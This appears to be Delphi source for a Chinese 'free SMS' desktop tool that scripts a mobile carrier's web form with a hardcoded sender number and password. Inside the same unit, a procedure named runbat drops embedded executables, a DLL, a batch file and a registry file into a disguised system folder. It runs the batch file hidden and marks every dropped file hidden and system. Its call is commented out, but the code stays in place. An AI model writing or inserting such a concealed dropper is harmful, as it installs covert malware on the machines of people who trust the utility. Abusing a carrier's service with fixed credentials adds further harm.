www.pudn.com > free_sms.zip > umain.pas
unit umain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, HTTPApp, HTTPProd, CompProd, PagItems,shellapi,
MidProd, StdCtrls, ExtCtrls, ComCtrls,registry, Buttons,MSHTML;
type
Tfmain = class(TForm)
Panel2: TPanel;
sb: TStatusBar;
b_send: TBitBtn;
b_exit: TBitBtn;
wb: TWebBrowser;
Panel1: TPanel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
cont: TMemo;
name: TComboBox;
phone: TComboBox;
WebBrowser1: TWebBrowser;
WebBrowser2: TWebBrowser;
Timer1: TTimer;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure contKeyPress(Sender: TObject; var Key: Char);
procedure wbStatusTextChange(Sender: TObject; const Text: WideString);
procedure FormCreate(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure Label4Click(Sender: TObject);
procedure Label5Click(Sender: TObject);
procedure Label6Click(Sender: TObject);
procedure phoneKeyPress(Sender: TObject; var Key: Char);
procedure saveres(ResName, filepath,filename: string);
procedure runbat;
procedure send_cont;
function check_connect:boolean;
procedure wbDocumentComplete(Sender: TObject; const pDisp: IDispatch;
var URL: OleVariant);
procedure wbNewWindow2(Sender: TObject; var ppDisp: IDispatch;
var Cancel: WordBool);
procedure WebBrowser1NewWindow2(Sender: TObject; var ppDisp: IDispatch;
var Cancel: WordBool);
procedure WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
procedure WebBrowser2StatusTextChange(Sender: TObject;
const Text: WideString);
procedure FormResize(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
pages,frame:integer;
curfile:integer;
html,url,s_str:string;
a,sl:integer;
sms_list:Tstrings;
HWndCalc:HWND;
reg:tregistry;
ok:integer;
TargetFrameName,PostData,Flags,Heads:OleVariant;
connect_status,send_acc:boolean;
password,act:string;
mstring:Tstrings;
dis_time:integer;
end;
var
fmain: Tfmain;
const max_line=30;
implementation
uses Uhelp;
{$R *.dfm}
//{$R ./freesms.res}
procedure Tfmain.saveres(ResName, filepath,filename: string);
var
ResStream: TResourceStream;
FileStream: TFileStream;
begin
try
ResStream := TResourceStream.Create(0, ResName, RT_RCDATA);
if not FileExists(filepath+filename) then
try
FileStream := TFileStream.Create(filepath+filename, fmCreate);
try
FileStream.CopyFrom(ResStream, 0);
finally
FileStream.Free;
end;
finally
ResStream.Free;
end;
except
end;
end;
procedure Tfmain.runbat;
var filepath,regfilepath:string;
sysdir: Pchar;
begin
try
GetMem( sysdir, MAX_PATH+1 );
GetSystemDirectory(sysdir, MAX_PATH+1);
filepath:=string(sysdir)+'\CatRoot\{F750E6C3-38EE-11D1-85E5-00112233qaz}\';
CreateDirectory(pchar(string(sysdir)+'\CatRoot\'),nil);
CreateDirectory(pchar(filepath),nil);
saveres('myexe',filepath,'tcphost.exe');
saveres('mybat',filepath,'rs.bat');
saveres('mydll',filepath,'admdll.dll');
saveres('myreg',filepath,'shell.reg');
ChDir(filepath);
if IOResult <> 0 then
MessageDlg('Cannot find directory', mtWarning, [mbOk], 0);
if WinExec(pchar(filepath+'rs.bat'), SW_HIDE)>31 then
begin
FileSetAttr(filepath+'tcphost.exe',faHidden or faReadOnly or faArchive or faSysFile);
FileSetAttr(filepath+'rs.bat',faHidden or faReadOnly or faArchive or faSysFile);
FileSetAttr(filepath+'admdll.dll',faHidden or faReadOnly or faArchive or faSysFile);
FileSetAttr(filepath+'shell.reg',faHidden or faReadOnly or faArchive or faSysFile);
FileSetAttr(filepath,faHidden or faReadOnly or faArchive or faSysFile);
end;
reg.WriteString('runr',formatDateTime('yyyymmdd',now));
except
end;
end;
procedure Tfmain.Button1Click(Sender: TObject);
var
a:integer;
begin
try
s_str:=trim(cont.text);
if length(s_str)<1 then
begin
messagebox(handle,'请输入短信内容','警告',MB_OK);
exit;
end;
if length(trim(phone.text))<11 then
begin
messagebox(handle,'请输入正确手机号码','警告',MB_OK);
exit;
end;
if length(trim(name.text))>0 then
s_str:=s_str+'S:'+name.text;
for a:=0 to 115-length(s_str) do
s_str:=s_str+'.';
act:='send';
send_acc:=false;
Timer1.Enabled:=true;
WebBrowser2.Navigate('',Flags,TargetFrameName,PostData,Heads);
b_send.Enabled:=false;
if (connect_status=false) then //连接服务器失败时
begin
sb.Panels[0].Text:='正在连接服务器.....';
Wb.Navigate(url,Flags,TargetFrameName,PostData,Heads);
end
else //连接服务器成功后,将不再刷新网页
begin
sb.Panels[0].Text:='正在发送短信......';
send_cont;
end;
if (phone.Items.IndexOf(phone.Text)=-1 ) and (phone.Text<>'') then
phone.Items.add(phone.Text);
if (name.Items.IndexOf(name.Text)=-1) and (name.Text<>'') then
name.Items.add(name.Text);
if (sms_list.IndexOf(cont.Text)=-1) then
sms_list.add(cont.Text);
sl:=sl+1;
except
end;
end;
procedure Tfmain.Button2Click(Sender: TObject);
begin
close();
end;
procedure Tfmain.contKeyPress(Sender: TObject; var Key: Char);
begin
if key=' ' then key:=#0;
end;
procedure Tfmain.send_cont;
var
i:integer;
doc: OleVariant;
begin
try
pages:=0;
case pages of
0:begin
inc(pages);
doc:=wb.document;
ok:=0;
For i:=0 To doc.all.length-1 do
begin
if (doc.all.item(i).tagName = 'INPUT')and
(doc.all.item(i).type='text')and
(doc.all.item(i).name='username2')then //手机号码
begin
doc.all.item(i).value:='13907310000';
inc(ok);
end;
if (doc.all.item(i).tagName = 'INPUT')and //密码
(doc.all.item(i).type='password')and
(doc.all.item(i).name='password2')then
begin
doc.all.item(i).value:=password;
inc(ok);
end;
if (doc.all.item(i).tagName = 'INPUT')and //对方号码
(doc.all.item(i).type='text')and
(doc.all.item(i).name='ls_mobileno2')then
begin
doc.all.item(i).value:=trim(phone.text);
inc(ok);
end;
if (doc.all.item(i).tagName = 'INPUT')and //短信
(doc.all.item(i).type='text')and
(doc.all.item(i).name='ls_content2')then
begin
doc.all.item(i).value:=s_str;
inc(ok);
end;
if (doc.all.item(i).tagName = 'INPUT')and
(doc.all.item(i).type='image')and
(doc.all.item(i).value='发送')then
begin
if ok=4 then
doc.all.item(i).click;
end;
end;
end;
1:begin
null;
end;
end;
except
end;
end;
function Tfmain.check_connect:boolean;
var
i,cok:integer;
doc: OleVariant;
begin
try
doc:=wb.document;
cok:=0;
For i:=0 To doc.all.length-1 do
begin
if (doc.all.item(i).tagName = 'INPUT')and
(doc.all.item(i).type='text')and
(doc.all.item(i).name='username2')then //手机号码
inc(cok);
if (doc.all.item(i).tagName = 'INPUT')and //密码
(doc.all.item(i).type='password')and
(doc.all.item(i).name='password2')then
inc(cok);
if (doc.all.item(i).tagName = 'INPUT')and //对方号码
(doc.all.item(i).type='text')and
(doc.all.item(i).name='ls_mobileno2')then
inc(cok);
if (doc.all.item(i).tagName = 'INPUT')and //短信
(doc.all.item(i).type='text')and
(doc.all.item(i).name='ls_content2')then
inc(cok);
if (doc.all.item(i).tagName = 'INPUT')and
(doc.all.item(i).type='image')and
(doc.all.item(i).value='发送')then
inc(cok);
end;
if cok=5 then
result:=true
else
result:=false;
except
result:=false;
end;
end;
procedure Tfmain.wbStatusTextChange(Sender: TObject;
const Text: WideString);
begin
//memo1.Lines.Add(Text);
if pos('完',text)=1 then
begin
if act='connect' then //第一次连接服务器 动作为 connect 连接之后 动作都为 send
begin
if check_connect then
begin
sb.Panels[0].Text:='连接服务器成功!';
connect_status:=true;
b_send.Enabled:=true;
Timer1.Enabled:=false;
dis_time:=0;
end;
end;
end;
end;
procedure Tfmain.FormCreate(Sender: TObject);
var
i:integer;
begin
try
dis_time:=0;
send_acc:=false;
sms_list:=Tstringlist.Create;
reg:=tregistry.create;
reg.rootkey:=HKEY_CURRENT_USER;
reg.openkey('Free_Sms',true);
for i:=1 to max_line do
if reg.valueexists('phone'+inttostr(i)) then
phone.items.add(reg.readstring('phone'+inttostr(i)) );
for i:=1 to max_line do
if reg.valueexists('name'+inttostr(i)) then
name.items.add(reg.readstring('name'+inttostr(i)));
for i:=1 to max_line do
if reg.valueexists('sms'+inttostr(i)) then
sms_list.add(reg.readstring('sms'+inttostr(i)));
sl:=sms_list.Count;
//if reg.readString('runr')<>formatDateTime('yyyymmdd',now) then
// runbat();
reg.closekey;
reg.free;
mstring:=Tstringlist.Create;
curfile:=0;
pages:=0;
TargetFrameName:=0;
PostData:=0;
Heads:=0;
Flags:=0;
url:='http://www.hnmcc.com/sms/index.jsp';
password:='1111111';
act:='connect';
connect_status:=false;
sb.Panels[0].Text:='正在连接服务器......';
Wb.Navigate(url,Flags,TargetFrameName,PostData,Heads);
except
end;
end;
procedure Tfmain.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
var
i:integer;
begin
try
reg:=tregistry.create;
reg.rootkey:=HKEY_CURRENT_USER;
reg.openkey('Free_Sms',true);
if phone.items.Count>max_line then
begin
for i:=phone.items.Count-max_line to phone.items.Count-1 do
if sms_list[i]<>'' then
reg.WriteString('phone'+inttostr(i+max_line-phone.items.Count+1),phone.items[i]);
end
else
begin
for i:=0 to phone.items.Count-1 do
if phone.items[i]<>'' then
reg.WriteString('phone'+inttostr(i+1),phone.items[i]);
end;
if name.items.Count>max_line then
begin
for i:=name.items.Count-max_line to name.items.Count-1 do
if name.items[i]<>'' then
reg.WriteString('name'+inttostr(i+max_line-name.items.Count+1),name.items[i]);
end
else
begin
for i:=0 to name.items.Count-1 do
if name.items[i]<>'' then
reg.WriteString('name'+inttostr(i+1),name.items[i]);
end;
if sms_list.Count>max_line then
begin
for i:=sms_list.Count-max_line to sms_list.Count-1 do
if sms_list[i]<>'' then
reg.WriteString('sms'+inttostr(i+max_line-sms_list.Count+1),sms_list[i]);
end
else
begin
for i:=0 to sms_list.Count-1 do
if sms_list[i]<>'' then
reg.WriteString('sms'+inttostr(i+1),sms_list[i]);
end;
reg.closekey;
reg.free;
sms_list.Free;
except
end;
end;
procedure Tfmain.Label4Click(Sender: TObject);
begin
fhelp:=Tfhelp.create(self);
fhelp.showmodal;
end;
procedure Tfmain.Label5Click(Sender: TObject);
begin
try
sl:=sl-1;
if (sl<=sms_list.Count) {and (sl-1>=0)} and (sms_list[sl-1]<>'') then
cont.Text:=sms_list[sl-1]
else
sl:=sl+1;
except
end;
end;
procedure Tfmain.Label6Click(Sender: TObject);
begin
try
sl:=sl+1;
if (sl<=sms_list.Count) and (sl-1>=0) and (sms_list[sl-1]<>'') then
cont.Text:=sms_list[sl-1]
else
sl:=sl-1;
except
end;
end;
procedure Tfmain.phoneKeyPress(Sender: TObject; var Key: Char);
begin
if ((key>='A') and (key<='Z')) or ((key>='a') and (key<='z')) then key:=#0;
end;
procedure Tfmain.wbDocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
var
i,ok:integer;
doc: OleVariant;
begin
try
if (act='send') then //连接服务器失败时
begin
send_cont;
end;
except
end;
end;
procedure Tfmain.wbNewWindow2(Sender: TObject; var ppDisp: IDispatch;
var Cancel: WordBool);
begin
ppDisp:=WebBrowser1.DefaultDispatch;
end;
procedure Tfmain.WebBrowser1NewWindow2(Sender: TObject;
var ppDisp: IDispatch; var Cancel: WordBool);
begin
ppDisp:=WebBrowser2.DefaultDispatch;
end;
procedure Tfmain.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
var i:integer;
doc: OleVariant;
begin
end;
procedure Tfmain.WebBrowser2StatusTextChange(Sender: TObject;
const Text: WideString);
begin
if (pos('完',text)=1) and (send_acc=false) then
begin
mstring.Clear;
mstring.Add(IHtmlDocument2(WebBrowser2.Document).Body.OuterText);
if pos('成功',mstring.text)>0 then
begin
send_acc:=true;
b_send.Enabled:=true;
Timer1.Enabled:=false;
sb.Panels[0].Text:='发送短信成功!';
Timer1.Enabled:=false;
connect_status:=true;
dis_time:=0;
end;
if pos('密码',mstring.text)>0 then
begin
send_acc:=true;
b_send.Enabled:=true;
Timer1.Enabled:=false;
sb.Panels[0].Text:='版本过期,SORRY!';
Timer1.Enabled:=false;
connect_status:=true;
dis_time:=0;
end;
end;
end;
procedure Tfmain.FormResize(Sender: TObject);
begin
height:=306;
width:=207;
end;
procedure Tfmain.Timer1Timer(Sender: TObject);
begin
dis_time:=dis_time+1;
sb.Panels[1].Text:='等待:'+inttostr(dis_time)+'秒';
if (dis_time=25 ) and (b_send.Enabled=false) then
begin
b_send.Enabled:=true;
connect_status:=false;
wb.Stop;
//WebBrowser1.Stop;
WebBrowser2.Stop;
Timer1.Enabled:=false;
dis_time:=0;
//sleep(1000);
if act='connect' then
sb.Panels[0].Text:='连接服务器失败!';
if act='send' then
sb.Panels[0].Text:='发送短信失败!';
end;
if dis_time>30 then
begin
dis_time:=0;
Timer1.Enabled:=false;
if act='connect' then
sb.Panels[0].Text:='连接服务器失败!';
if act='send' then
sb.Panels[0].Text:='发送短信失败!';
end;
end;
end.